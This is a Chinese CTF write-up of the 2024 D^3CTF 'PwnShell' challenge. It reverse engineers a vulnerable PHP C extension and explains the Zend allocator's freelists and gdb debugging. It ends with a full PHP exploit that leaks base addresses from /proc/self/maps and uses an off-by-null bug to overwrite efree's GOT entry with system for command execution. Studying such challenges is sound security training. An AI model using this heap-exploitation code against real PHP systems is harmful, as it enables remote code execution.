PHP pwn 学习 (2)
文章目录
- A. 逆向分析
- A.1 基本数据获取
- A.2 函数逆向
- zif_addHacker
- zif_removeHacker
- zif_displayHacker
- zif_editHacker
- A.3 PHP 内存分配
- A.4 漏洞挖掘
- B. 漏洞利用
- B.1 PHP调试
- B.2 exp
上一篇blog中,我们学习了一些PHP extension for C的基本内容,下面结合一道题来进行分析,同时学习一些题目中会涉及的新内容。
题目示例:2024 D^3CTF PwnShell
A. 逆向分析
该题是一道典型的PHP pwn,题目中给出了一个简单的PHP文件上传脚本,我们可以上传PHP文件然后远程执行,调用有漏洞的C库,最后通过反弹shell进行RCE。
这里我们使用的逆向分析引擎为Ghidra。
A.1 基本数据获取
在上一篇blog中,我们提到,一个PHP扩展必然存在一个_zend_module_entry
结构,用于保存该扩展的基本信息。我们可以在Ghidra中定义下面的结构,其中函数指针以void*
代替。随后,可以在0x104080找到vuln_module_entry
,从数据大小和变量名来看应该就是我们要找的_zend_module_entry
。进行数据类型转换后如下所示。
struct _zend_module_entry {unsigned short size;unsigned int zend_api;unsigned char zend_debug;unsigned char zts;const struct _zend_ini_entry *ini_entry;const struct _zend_module_dep *deps;const char *name;const struct _zend_function_entry *functions;zend_result (*module_startup_func)(INIT_FUNC_ARGS);zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);zend_result (*request_startup_func)(INIT_FUNC_ARGS);zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);const char *version;size_t globals_size;
#ifdef ZTSts_rsrc_id* globals_id_ptr;
#elsevoid* globals_ptr;
#endifvoid (*globals_ctor)(void *global);void (*globals_dtor)(void *global);zend_result (*post_deactivate_func)(void);int module_started;unsigned char type;void *handle;int module_number;const char *build_id;
};
由此可以获取一些基本信息,包括扩展的名字vuln
、版本0.1.0等。
随后,我们定义_zend_function_entry
结构,找到vuln_module_entry
并设置其数据类型,如下图所示,可以看到,扩展一共定义了4个函数可供调用。
随后,定义表示参数类型的数据结构,得到这些函数的参数信息,如下图所示。
可以获取这些函数的原型:
void zif_addHacker(undef name, undef fill);
void zif_removeHacker(undef idx);
string zif_displayHacker(undef idx);
void zif_editHacker(undef idx, undef content);
A.2 函数逆向
下面,我们分析一下库中定义的函数。
zif_addHacker
反汇编结果如下图所示。
在这里,C语言解析参数的方式与上一篇blog中描述的不同。这里是使用zend_parse_parameters
进行解析。这种解析方式更加直观。
zend_parse_parameters
可传入不固定数量的参数,一般用于一次性解析所有参数:
int zend_parse_parameters(int num_args, char *type_spec, ...);
第一个参数为参数数量,第二个参数为参数解析格式。根据PHP源代码文档,type_spec
参数的格式如下:
对于一个参数,可以使用一个字符序列表示该参数的解析规则。在后面的变长参数中,需要顺序传入参数保存值的引用值。PHP使用一个字母表示参数应该被解析为什么类型。具体的对应关系如下:a - array (zval*)
A - array or object (zval*)
b - boolean (zend_bool)
C - class (zend_class_entry*)
d - double (double)
f - function or array containing php method call info (returned aszend_fcall_info and zend_fcall_info_cache)
h - array (returned as HashTable*)
H - array or HASH_OF(object) (returned as HashTable*)
l - long (zend_long)
n - long or double (zval*)
o - object of any type (zval*)
O - object of specific type given by class entry (zval*, zend_class_entry)
p - valid path (string without null bytes in the middle) and its length (char*, size_t)
P - valid path (string without null bytes in the middle) as zend_string (zend_string*)
r - resource (zval*)
s - string (with possible null bytes) and its length (char*, size_t)
S - string (with possible null bytes) as zend_string (zend_string*)
z - the actual zval (zval*)
* - variable arguments list (0 or more)
+ - variable arguments list (1 or more)还可以使用下面3个符号:| - 放在上面字母的前面表示参数的解析规则为可选参数,其应该被初始化为默认值,以防止PHP代码没有传入该参数。
/ - 对其所跟的参数调用 SEPARATE_ZVAL()。
! - 所跟的参数可以为指定类型或 NULL。如果传入 NULL 且输出类型为指针,则输出的 C 语言指针为 NULL。对于类型 'b'、'l'、'd',一个额外的 zend_bool* 类型需要在对应的 bool*、zend_long*、double* 后被传入。如果传入 PHP NULL 则一个非0值将会被写到 zend_bool 中。
具体的示例参见PHP文档,已保存到网站本地。
在定义了必要的数据结构之后,可以完成对该函数的反汇编,重定义数据类型与命名后,结果如下所示。
下面是推断出的本地定义的数据结构:
struct hacker_entry {char* name;size_t name_len;char[] fill;
};struct chunklist_entry {struct hacker_entry* hacker;int islast;
};
这里没有定义zend_string
,偏移0x10表示字符串长度,0x18表示字符串指针。
需要注意的是,结构体hacker_entry
的最后一个字段的数组长度未知,又因为没有对fill
参数的长度进行判断,因此可能存在堆内存溢出漏洞。我们需要分析内存分配函数_emalloc
以明确溢出的具体信息。
查阅PHP源代码发现,_emalloc
是PHP自己实现的一个内存分配函数,即PHP默认不使用外部库(如glibc)进行内存分配。当然在C语言编写的扩展中使用glibc也是完全允许的。这部分代码分析在我们将4个扩展内函数逆向完成后再进行。
zif_removeHacker
zif_displayHacker
这个函数只返回了之前传入的Hacker名,而不会返回fill。
zif_editHacker
这里只是修改了Hacker的名字,没有改变fill。
由上面的分析可知,本题的漏洞点应该就在fill字段的处理上。我们需要理解PHP的内存分配系统原理,以尝试通过这个溢出实现get shell。
A.3 PHP 内存分配
_emalloc
函数是PHP自定义的内存分配系统的分配入口点:
// /Zend/zend_alloc.c, line 2534ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_CUSTOMif (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}
#endifreturn zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
这里有一个默认为真的宏定义,它将分配过程拆分为两个分支。首先来看默认分支,即_malloc_custom
:
// /Zend/zend_alloc.c, line 2414static ZEND_COLD void* ZEND_FASTCALL _malloc_custom(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{if (ZEND_DEBUG && AG(mm_heap)->use_custom_heap == ZEND_MM_CUSTOM_HEAP_DEBUG) {return AG(mm_heap)->custom_heap.debug._malloc(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);} else {return AG(mm_heap)->custom_heap.std._malloc(size);}
}// /Zend/zend_alloc.c, line 2356typedef struct _zend_alloc_globals {zend_mm_heap *mm_heap;
} zend_alloc_globals;#ifdef ZTS
static int alloc_globals_id;
static size_t alloc_globals_offset;
# define AG(v) ZEND_TSRMG_FAST(alloc_globals_offset, zend_alloc_globals *, v)
#else
# define AG(v) (alloc_globals.v)
static zend_alloc_globals alloc_globals;
#endif
由此可以找到PHP堆的全局定义结构如下:
struct _zend_mm_heap {
#if ZEND_MM_CUSTOMint use_custom_heap;
#endif
#if ZEND_MM_STORAGEzend_mm_storage *storage;
#endif
#if ZEND_MM_STATsize_t size; /* current memory usage */size_t peak; /* peak memory usage */
#endifzend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMITsize_t real_size; /* current size of allocated pages */
#endif
#if ZEND_MM_STATsize_t real_peak; /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMITsize_t limit; /* memory limit */int overflow; /* memory overflow flag */
#endifzend_mm_huge_list *huge_list; /* list of huge allocated blocks */zend_mm_chunk *main_chunk;zend_mm_chunk *cached_chunks; /* list of unused chunks */int chunks_count; /* number of allocated chunks */int peak_chunks_count; /* peak number of allocated chunks for current request */int cached_chunks_count; /* number of cached chunks */double avg_chunks_count; /* average number of chunks allocated per request */int last_chunks_delete_boundary; /* number of chunks after last deletion */int last_chunks_delete_count; /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOMunion {struct {void *(*_malloc)(size_t);void (*_free)(void*);void *(*_realloc)(void*, size_t);} std;struct {void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);} debug;} custom_heap;HashTable *tracked_allocs;
#endif
};
可以看到,自定义堆分配实际上就是自定义堆分配、释放与重新分配的函数。在全局结构构造函数alloc_globals_ctor (/Zend/zend_alloc.c, line 2798)
中,实际上是将函数指针处初始化为__zend_malloc
。__zend_malloc
直接调用libc的malloc函数。因此自定义内存分配时默认使用libc库的内存分配函数。
下面再看到另一个分支。
// /Zend/zend_alloc.c, line 1311static zend_always_inline void *zend_mm_alloc_heap(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{void *ptr;
#if ZEND_DEBUG...
#endifif (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size) ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG...
#endifreturn ptr;} else if (EXPECTED(size <= ZEND_MM_MAX_LARGE_SIZE)) {ptr = zend_mm_alloc_large(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG...
#endifreturn ptr;} else {
#if ZEND_DEBUG...
#endifreturn zend_mm_alloc_huge(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}
}
可以看到,这里根据分配需求的大小将调用不同的3个函数,其中ZEND_MM_MAX_SMALL_SIZE
为3072,ZEND_MM_MAX_LARGE_SIZE
为2MB-4KB。对于题目而言,要分配的大小基本都小于3072。需要注意的是,在函数调用中使用了ZEND_MM_SMALL_SIZE_TO_BIN
宏定义,可以理解为:PHP内部使用30个链表保存以释放的小chunk,每个链表中保存一个大小范围内的chunk,这与musl libc有类似之处。
// /Zend/zend_alloc.c, line 1157static zend_always_inline int zend_mm_small_size_to_bin(size_t size)
{
#if 0int n;/*0, 1, 2, 3, 4, 5, 6, 7, 8, 9 10, 11, 12*/static const int f1[] = { 3, 3, 3, 3, 3, 3, 3, 4, 5, 6, 7, 8, 9};static const int f2[] = { 0, 0, 0, 0, 0, 0, 0, 4, 8, 12, 16, 20, 24};if (UNEXPECTED(size <= 2)) return 0;n = zend_mm_small_size_to_bit(size - 1);return ((size-1) >> f1[n]) + f2[n];
#elseunsigned int t1, t2;if (size <= 64) {/* we need to support size == 0 ... */return (size - !!size) >> 3;} else {t1 = size - 1;t2 = zend_mm_small_size_to_bit(t1) - 3;t1 = t1 >> t2;t2 = t2 - 3;t2 = t2 << 2;return (int)(t1 + t2);}
#endif
}#define ZEND_MM_SMALL_SIZE_TO_BIN(size) zend_mm_small_size_to_bin(size)// /Zend/zend_alloc.c, line 1125/* higher set bit number (0->N/A, 1->1, 2->2, 4->3, 8->4, 127->7, 128->8 etc) */
static zend_always_inline int zend_mm_small_size_to_bit(int size){
#if (defined(__GNUC__) || __has_builtin(__builtin_clz)) && defined(PHP_HAVE_BUILTIN_CLZ)return (__builtin_clz(size) ^ 0x1f) + 1;
#elif defined(_WIN32)unsigned long index;if (!BitScanReverse(&index, (unsigned long)size)) {/* undefined behavior */return 64;}return (((31 - (int)index) ^ 0x1f) + 1);
#elseint n = 16;if (size <= 0x00ff) {n -= 8; size = size << 8;}if (size <= 0x0fff) {n -= 4; size = size << 4;}if (size <= 0x3fff) {n -= 2; size = size << 2;}if (size <= 0x7fff) {n -= 1;}return n;
#endif
}
这一段主要是将用户请求的大小转换为对应的freelist索引值。
// /Zend/zend_alloc.c, line 324#define _BIN_DATA_SIZE(num, size, elements, pages, x, y) size,
static const uint32_t bin_data_size[] = {ZEND_MM_BINS_INFO(_BIN_DATA_SIZE, x, y)
};// /Zend/zend_alloc_sizes.h, line 31/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y) \_( 0, 8, 512, 1, x, y) \_( 1, 16, 256, 1, x, y) \_( 2, 24, 170, 1, x, y) \_( 3, 32, 128, 1, x, y) \_( 4, 40, 102, 1, x, y) \_( 5, 48, 85, 1, x, y) \_( 6, 56, 73, 1, x, y) \_( 7, 64, 64, 1, x, y) \_( 8, 80, 51, 1, x, y) \_( 9, 96, 42, 1, x, y) \_(10, 112, 36, 1, x, y) \_(11, 128, 32, 1, x, y) \_(12, 160, 25, 1, x, y) \_(13, 192, 21, 1, x, y) \_(14, 224, 18, 1, x, y) \_(15, 256, 16, 1, x, y) \_(16, 320, 64, 5, x, y) \_(17, 384, 32, 3, x, y) \_(18, 448, 9, 1, x, y) \_(19, 512, 8, 1, x, y) \_(20, 640, 32, 5, x, y) \_(21, 768, 16, 3, x, y) \_(22, 896, 9, 2, x, y) \_(23, 1024, 8, 2, x, y) \_(24, 1280, 16, 5, x, y) \_(25, 1536, 8, 3, x, y) \_(26, 1792, 16, 7, x, y) \_(27, 2048, 8, 4, x, y) \_(28, 2560, 8, 5, x, y) \_(29, 3072, 4, 3, x, y)
从上面的定义可以获取30个freelist对应的chunk大小。可以看到,PHP在分配这部分内存时是以页为最小单位整个分配的,如对于大小为8的chunk,在初次分配时,应该是分配一整页4KB,随后将这一页拆分为512个8B大小的chunk来使用。
下面重点关注一下zend_mm_alloc_small
。
// /Zend/zend_alloc.c, line 1243static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{#if ZEND_MM_STATdo {size_t size = heap->size + bin_data_size[bin_num];size_t peak = MAX(heap->peak, size);heap->size = size;heap->peak = peak;} while (0);#endifif (EXPECTED(heap->free_slot[bin_num] != NULL)) {zend_mm_free_slot *p = heap->free_slot[bin_num];heap->free_slot[bin_num] = p->next_free_slot;return p;} else {return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}
}
忽略宏定义中的内容,看下面的部分。首先会检查对应的freelist链表是否存在已经释放的chunk,如果有,则使用链表的第一个chunk作为返回值。否则会调用zend_mm_alloc_small_slow
另外分配内存。
// /Zend/zend_alloc.c, line 1187static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{zend_mm_chunk *chunk;int page_num;zend_mm_bin *bin;zend_mm_free_slot *p, *end;#if ZEND_DEBUG...
#elsebin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#endifif (UNEXPECTED(bin == NULL)) {/* insufficient memory */return NULL;}chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;chunk->map[page_num] = ZEND_MM_SRUN(bin_num);if (bin_pages[bin_num] > 1) {uint32_t i = 1;do {chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);i++;} while (i < bin_pages[bin_num]);}/* create a linked list of elements from 1 to last */end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);do {p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
#if ZEND_DEBUG...
#endifp = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);} while (p != end);/* terminate list using NULL */p->next_free_slot = NULL;
#if ZEND_DEBUG...
#endif/* return first element */return bin;
}
在这个函数中,我们可以清晰地看到,zend_mm_alloc_pages
之后,PHP构造了包含所有新分配的chunk的链表并放在freelist链表头部。即freelist链表不仅包含被释放的chunk,也有未被分配的chunk。最后返回其中的第一个chunk。
而对于chunk的释放,则非常简单,直接将该chunk放到对应freelist的头部即可。在分配与释放过程中,没有进行任何的安全检查,因此一旦出现堆相关漏洞,常常可以大做文章。
A.4 漏洞挖掘
从上面的分析来看,内存分配与释放均需要一个参数,但Ghidra没有识别出来,将参数添加后发现,先前发现的可能的溢出漏洞实际上并不存在,hacker_entry
的最后一个字段实际上是一个不定长数组,在实际分配内存时会根据传入的字符串长度确定chunk大小。
那么,这道题的漏洞点又在何处?需要注意zif_displayHacker
和zif_addHacker
函数,在memcpy
之后,有一个在字符串尾部添加\0
的操作,这实际上是off by null。
由于freed chunk将链表指针放在chunk首部,chunk与chunk之间没有任何分隔,因此off by null有机会修改链表指针的值。将该指针的值修改为一个chunk A内部的地址,这样可以通过chunk A的重写完全覆盖chunk A后面的chunk B的链表指针。本题的so文件没有使用FULL RELRO安全保护,因此可以完成覆盖GOT表的操作,后面的内容就不用多说了。
B. 漏洞利用
明确漏洞后,接下来就是考虑如何利用该漏洞。本题中我们可以完成PHP文件上传,因此直接将exp PHP文件上传后通过网址执行即可。
不过在php.ini中,题目定义了很多禁用的函数,保存在disable_function
中。在实际编写PHP脚本时,需要注意不要使用这里提到的函数。
在本题中,我们可以通过读取/proc/self/maps
的方法获取PHP进程的libc基地址以及堆内存的基地址。但我们并不能直接通过fopen
函数打开文件,这主要是防止我们直接去读取flag文件。不过,PHP功能强大,我们还是能够找到读取/proc/self/maps
的方法。flag文件在普通权限下无法读取,但/proc/self/maps
可以读取。
在zend_mm_alloc_small_slow
中可以看到,初次分配的单向链表是低地址的chunk在头部,高地址的chunk在尾部。因此我们可以首先分配几个相同大小的chunk,随后按照从高到低的顺序释放。
需要注意的是,PHP不允许运行在其他版本下构建的C扩展,在API确认可用的情况下,可以通过修改module_entry
中的zend_api
与build_id
中的版本信息使其在不同PHP版本下运行。
在解题过程中,通过gdb调试能够加快进度,此类PHP pwn的调试方法参考资料完成。下面演示一下调试流程。
B.1 PHP调试
在docker中安装gdbserver后,运行
gdbserver :1234 php -S 0:8080 index.php
使gdbserver监听本地1234端口,PHP监听本地8080端口。访问8080端口即相当于执行php index.php
。随后多次使用n
命令。遇到的第一个call指令调用后,将加载PHP运行过程中需要的所有动态链接库(不含C扩展),进入_start
后会进入_libc_start_main
,在一条call rax
指令执行后进入监听状态,同时会显示加载C扩展情况,如下面两图所示。
在vuln.so中打下断点后,访问8080端口,即可让gdb断在想要的地方。
下面是PHP中的_emalloc
函数:
这其中内联了zend_mm_alloc_small
函数,一直跟进理解代码语义,我们能够找到堆的freelist结构:
可以看到,这里的freelist中低地址的chunk位于链表的前面。因此有下面的漏洞利用思路,即想办法构造一个地址最后1字节为’\x00’的fake pointer指向free.got,随后在同一个freelist中通过off by null将这个fake pointer链入这个freelist中。如下图所示。
这里解释一下使用0x70 chunk freelist的原因。在整个漏洞利用过程中,首先需要一个能够写入0x…00这种地址的chunk A,随后需要一个chunk B完成off by null,破坏后面的chunk C的指针。原先chunk C的指针指向chunk D,且chunk D地址除了最低字节外其他字节应该与chunk A写入的地址相同。在0x70 chunk freelist中,可以利用0x2a0、0x310、0x380、0x3f0这4个chunk,即0x2a0写入0x300为free.got,0x310完成off by null,将0x380处由0x3f0改为0x300,这样就可以完成指针伪造,并最终能够成功分配到首地址为0x300的chunk。
B.2 exp
<?php$libc_base = 0;
$vuln_so_base = 0;
$efree_got = 0x4038;
$system_off = 0x45e90;
$map_file = "/proc/self/map";function get_so_base($buffer)
{global $libc_base;global $vuln_so_base;$libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.31\.so/";$vuln_so_line_regex ="/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/";if (preg_match_all($libc_line_regex, $buffer, $matches))$libc_base = hexdec($matches[1][0]);elseecho "Failed to get libc base";if (preg_match_all($vuln_so_line_regex, $buffer, $matches))$vuln_so_base = hexdec($matches[1][0]);elseecho "Failed to get vuln.so base";
}function p64($value): string
{$ret = "";for ($i = 0; $i < 8; $i++) {echo $ret & 0xFF . "<br>";$ret .= pack('C', $value & 0xFF);$value >>= 8;}return $ret;
}// open a buffer and read the content of /proc/self/maps
ob_start();
include "/proc/self/maps";
$buffer = ob_get_contents();
ob_end_flush();
get_so_base($buffer);
$efree_got += $vuln_so_base;echo "libc base address: " . dechex($libc_base) . "\n<br>";
echo "vuln.so base address: " . dechex($vuln_so_base) . "\n<br>";
echo "_efree.got: " . dechex($efree_got) . "\n<br>";addHacker(str_repeat("a", 0x40), str_repeat("b", 0x5f));
addHacker("echo \"success\"\x00" . str_repeat("a", 0x70-15), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x70), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x40), str_repeat("x", 0x50) . p64($efree_got)); // 0x2A0
addHacker(str_repeat("a", 0x40), str_repeat("!", 0x60)); // 0x310, off by null
addHacker(str_repeat("a", 0x70), str_repeat("x", 0x5f));
addHacker(p64($libc_base + $system_off) . str_repeat("a", 0x67), str_repeat("a", 0x38));
removeHacker(1);
成功利用,效果如下,这里仅显示在本地执行命令的结果。如果无法成功利用,可能是PHP环境问题,根据freelist状态调整冗余chunk的分配数量即可。
相关文章:
PHP pwn 学习 (2)
文章目录 A. 逆向分析A.1 基本数据获取A.2 函数逆向zif_addHackerzif_removeHackerzif_displayHackerzif_editHacker A.3 PHP 内存分配 A.4 漏洞挖掘B. 漏洞利用B.1 PHP调试B.2 exp 上一篇blog中,我们学习了一些PHP extension for C的基本内容,下面结合一…...
【Python学习笔记】:Python爬取音频
【Python学习笔记】:Python爬取音频 背景前摇(省流可以不看): 人工智能公司实习,好奇技术老师训练语音模型的过程,遂请教,得知训练数据集来源于爬取某网页的音频。 很久以前看B站同济子豪兄的《…...
4 C 语言控制流与循环结构的深入解读
目录 1 复杂表达式的计算过程 2 if-else语句 2.1 基本结构及示例 2.2 if-else if 多分支 2.3 嵌套 if-else 2.4 悬空的 else 2.5 注意事项 2.5.1 if 后面不要加分号 2.5.2 省略 else 2.5.3 省略 {} 2.5.4 注意点 3 while 循环 3.1 一般形式 3.2 流程特点 3.3 注…...
vue排序
onEnd 函数示例,它假设 drag.value 是一个包含多个对象(每个对象至少包含 orderNum 和 label 属性)的数组,且您希望在拖动结束后更新所有元素的 orderNum 以反映新的顺序: function onEnd(e) { // 首先,确…...
agv叉车slam定位精度测试标准化流程
相对定位精度 条件:1.5m/s最高速度;基于普通直行任务 数据采集(3个不同位置的直行任务,每个任务直行约10m,每个10次) 测量每次走过的实际距离,与每次根据定位结果算得的相对距离,两…...
实战打靶集锦-31-monitoring
文章目录 1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 ssh服务4.2 smtp服务4.3 http/https服务 5. 系统提权5.1 枚举系统信息5.2 枚举passwd文件5.3 枚举定时任务5.4 linpeas提权 6. 获取flag 靶机地址:https://download.vulnhub.com/monitoring/Monitoring.o…...
小程序-模板与配置
一、WXML模板语法 1.数据绑定 2.事件绑定 什么是事件 小程序中常用的事件 事件对象的属性列表 target和currentTarget的区别 bindtap的语法格式 在事件处理函数中为data中的数据赋值 3.事件传参与数据同步 事件传参 (以下为错误示例) 以上两者的…...
交叉编译aarch64的Qt5.12.2,附带Mysql插件编译
一、配置交叉编译工具链 1、交叉编译工具链目录 /opt/zlg/m3568-sdk-v1.0.0-ga/gcc-buildroot-9.3.0-2020.03-x86_64_aarch64-rockchip-linux-gnu/bin/aarch64-rockchip-linux-gnu-g /opt/zlg/m3568-sdk-v1.0.0-ga/gcc-buildroot-9.3.0-2020.03-x86_64_aarch64-rockchip-linu…...
好用的Ubuntu下的工具合集[持续增加]
1. 终端工具 UBUNTU下有哪些好用的终端软件? - 知乎 (zhihu.com) sudo apt install terminator...
Xcode 16 beta3 真机调试找不到 Apple Watch 的尝试解决
很多小伙伴们想用 Xcode 在 Apple Watch 真机上调试运行 App 时却发现:在 Xcode 设备管理器中压根找不到对应的 Apple Watch 设备。 大家是否已将 Apple Watch 和 Mac 都重启一万多遍了,还是束手无策。 Apple Watch not showing in XCodeApple Watch wo…...
Three.JS 使用RGBELoader和CubeTextureLoader 添加环境贴图
导入RGBELoader模块: import { RGBELoader } from "three/examples/jsm/loaders/RGBELoader.js"; 使用 addRGBEMappingk(environment, background,url) {rgbeLoader new RGBELoader();rgbeLoader.loadAsync(url).then((texture) > {//贴图模式 经纬…...
k8s logstash多管道配置
背景 采用的是标准的ELKfilebeat架构 ES版本:7.17.15 logstash版本:7.17.15 filebeat版本: 7.17.15 helm版本:7.17.3,官方地址:elastic/helm-charts 说一下为什么会想到使用多管道的原因 我们刚开始…...
【CMU博士论文】结构化推理增强大语言模型(Part 0)
问题 :语言生成和推理领域的快速发展得益于围绕大型语言模型的用户友好库的普及。这些解决方案通常依赖于Seq2Seq范式,将所有问题视为文本到文本的转换。尽管这种方法方便,但在实际部署中存在局限性:处理复杂问题时的脆弱性、缺乏…...
Odoo创建一个自定义UI视图
Odoo能够为给定的模型生成默认视图。在实践中,默认视图对于业务应用程序来说是绝对不可接受的。相反,我们至少应该以合乎逻辑的方式组织各个字段。 视图在带有Actions操作和Menus菜单的 XML 文件中定义。它们是模型的 ir.ui.view 实例。 列表视图 列表视…...
Day16_集合与迭代器
Day16-集合 Day16 集合与迭代器1.1 集合的概念 集合继承图1.2 Collection接口1、添加元素2、删除元素3、查询与获取元素不过当我们实际使用都是使用的他的子类Arraylist!!! 1.3 API演示1、演示添加2、演示删除3、演示查询与获取元素 2 Iterat…...
html2canvas + jspdf 纯前端HTML导出PDF的实现与问题
前言 这几天接到一个需求,富文本编辑器的内容不仅要展示出来,还要实现展示的内容导出pdf文件。一开始导出pdf的功能是由后端来做的,然后发现对于宽度太大的图片,导出的pdf文件里部分图片内容被遮盖了,但在前端是正常显…...
【JVM】JVM调优练习-随笔
JVM实战笔记-随笔 前言字节码如何查看字节码文件jclasslibJavapArthasArthurs监控面板Arthus查看字节码信息 内存调优内存溢出的常见场景解决内存溢出发现问题Top命令VisualVMArthas使用案例 Prometheus Grafana案例 堆内存情况对比内存泄漏的原因:代码中的内存泄漏并发请求问…...
如何解决 CentOS 7 官方 yum 仓库无法使用
一、背景介绍 编译基于 CentOS 7.6.1810 镜像的 Dockerfile 过程中,执行 yum install 指令时,遇到了错误:Could not resolve host: mirrorlist.centos.org; Unknown error。 二、原因分析 官方停止维护 CentOS 7。该系统内置的 yum.repo 所使用的域名 mirrorlist.centos.o…...
分布式唯一id的7种方案
背景 为什么需要使用分布式唯一id? 如果我们的系统是单体的,数据库是单库,那无所谓,怎么搞都行。 但是如果系统是多系统,如果id是和业务相关,由各个系统生成的情况下,那每个主机生成的主键id就…...
嵌入式物联网在医疗行业中的应用——案例分析
作者主页: 知孤云出岫 目录 嵌入式物联网在医疗行业中的应用——案例分析引言1. 智能病房监控1.1 实时患者监控系统 2. 智能医疗设备管理2.1 设备使用跟踪与维护 3. 智能药物管理3.1 药物分配与跟踪 4. 智能远程医疗4.1 远程患者监控与诊断 总结 嵌入式物联网在医疗行业中的应…...
C语言 底层逻辑详细阐述指针(一)万字讲解 #指针是什么? #指针和指针类型 #指针的解引用 #野指针 #指针的运算 #指针和数组 #二级指针 #指针数组
文章目录 前言 序1:什么是内存? 序2:地址是怎么产生的? 一、指针是什么 1、指针变量的创建及其意义: 2、指针变量的大小 二、指针的解引用 三、指针类型存在的意义 四、野指针 1、什么是野指针 2、野指针的成因 a、指…...
【人工智能大模型】文心一言介绍以及基本使用指令
目录 一、产品背景与技术基础 二、主要功能与特点 基本用法 指令的使用 注意事项 文心一言(ERNIE Bot)是百度基于其文心大模型技术推出的生成式AI产品。以下是对文心一言的详细介绍: 一、产品背景与技术基础 技术背景:百度…...
AI绘画入门实践|Midjourney 的模型版本
模型分类 Midjourney 的模型主要分为2大类: 默认模型:目前包括:V1, V2, V3, V4, V5.0, V5.1, V5.2, V6 NIJI模型:目前包括:NIJI V4, NIJI V5, NIJI V6 模型切换 你在服务器输入框中输入 /settings: 回车后…...
Web3时代的教育技术革新:智能合约在学习管理中的应用
随着区块链技术的发展和普及,Web3时代正在为教育技术带来前所未有的革新和机遇。智能合约作为区块链技术的核心应用之一,不仅在金融和供应链管理等领域展示了其巨大的潜力,也在教育领域中逐渐探索和应用。本文将探讨智能合约在学习管理中的具…...
云计算实训室的核心功能有哪些?
在当今数字化转型浪潮中,云计算技术作为推动行业变革的关键力量,其重要性不言而喻。唯众,作为教育实训解决方案的领先者,深刻洞察到市场对云计算技能人才的迫切需求,精心打造了云计算实训室。这一实训平台不仅集成了先…...
芯科科技第五届物联网开发者大会走进世界各地,巡回开启注册
中国,北京 – 2024年7月18日 – 致力于以安全、智能无线连接技术,建立更互联世界的全球领导厂商Silicon Labs(亦称“芯科科技”,NASDAQ:SLAB)今日宣布,其2024年Works With开发者大会现正开放注册…...
Python创建Excel表和读取Excel表的基础操作
下载openpyxl第三方库 winr打开命令行输入cmd 这个如果不行可以试试其他方法,在运行Python代码的软件里也有直接下载的地方,可以上网搜索 创建Excel表 示例代码:最后要记得保存,可以加一句提示语句。 import openpyxl lst[100,…...
JVM(day2)经典垃圾收集器
经典垃圾收集器 Serial收集 使用一个处理器或一条收集线程去完成垃圾收集工作,更重要的是强调在它进行垃圾收集时,必须暂停其他所有工作线程,直到它收集结束。 ParNew收集器 ParNew 收集器除了支持多线程并行收集之外,其他与 …...
华为od机试真题 — 分披萨(Python)
